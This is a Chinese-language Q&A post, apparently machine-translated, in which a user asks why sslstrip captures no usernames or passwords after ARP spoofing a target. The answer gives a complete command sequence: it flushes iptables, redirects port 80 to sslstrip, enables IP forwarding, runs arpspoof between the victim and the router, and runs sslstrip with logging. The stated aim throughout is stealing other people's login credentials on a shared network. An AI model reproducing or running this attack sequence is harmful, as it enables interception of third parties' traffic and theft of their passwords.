![我在 SSLSTRIP 中收到错误并且没有用户名密码](https://linux22.com/image/80577/%E6%88%91%E5%9C%A8%20SSLSTRIP%20%E4%B8%AD%E6%94%B6%E5%88%B0%E9%94%99%E8%AF%AF%E5%B9%B6%E4%B8%94%E6%B2%A1%E6%9C%89%E7%94%A8%E6%88%B7%E5%90%8D%E5%AF%86%E7%A0%81.png)
我的 sslstrip 有问题。我解释步骤如下:
- 我启用IP转发
- 我设置了 iptable 进行重定向
- 目标是UP
arpspoof -i wlan -t ip -r gateway sslstrip -l 8080
我检查了几个网站。也有类似的问题。解决方案是重新安装sslstrip
或使用一些命令。还有一些答案说这些错误并不重要,可以忽略。但我仍然没有得到答案,并且在sslstrip
我粘贴的错误中看不到任何用户名密码dpaste
:这里谢谢 :)
答案1
这应该有帮助。 https://www.cybrary.it/0p3n/using-sslstrip-in-kali-linux/
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan1 -t victim_ip router_ip
第二航站楼:
sslstrip -w arpSnifferfun.txt -l 10000
或者只是sslstrip -f -p -k 10000
默认情况下会生成日志..
大多数最新的浏览器都会从 sslstrip 之类的网页给出某种类型的错误,不排除密码或根本不捕获密码/用户名。我还没有找到解决这个问题的方法。